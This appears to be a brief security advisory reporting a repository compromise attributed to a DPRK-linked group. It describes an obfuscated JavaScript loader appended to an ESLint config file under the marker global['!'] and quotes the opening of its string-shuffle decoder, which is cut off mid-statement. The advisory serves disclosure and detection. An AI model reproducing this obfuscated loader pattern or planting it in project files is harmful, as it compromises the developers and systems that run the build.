GCVE-110-OSM-2025-588

Repository compromised by the PolinRider DPRK threat actor (Lazarus, Contagious Interview cluster). Obfuscated JavaScript payload appended to legitimate config file apps/bff/eslint.config.mjs, using marker global['!']. Consistent with known PolinRider architecture: string-array shuffle decoder, require() hijack via global assignment, and a second-stage loader fetched through the decoded payload. Malicious payload found in: apps/bff/eslint.config.mjs Marker: global['!'] Pattern: obfuscated JS payload appended after legitimate config file content. String-array shuffle decoder + global[] require hijack, consistent with PolinRider architecture. Snippet: global['!']='9-0755-3';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e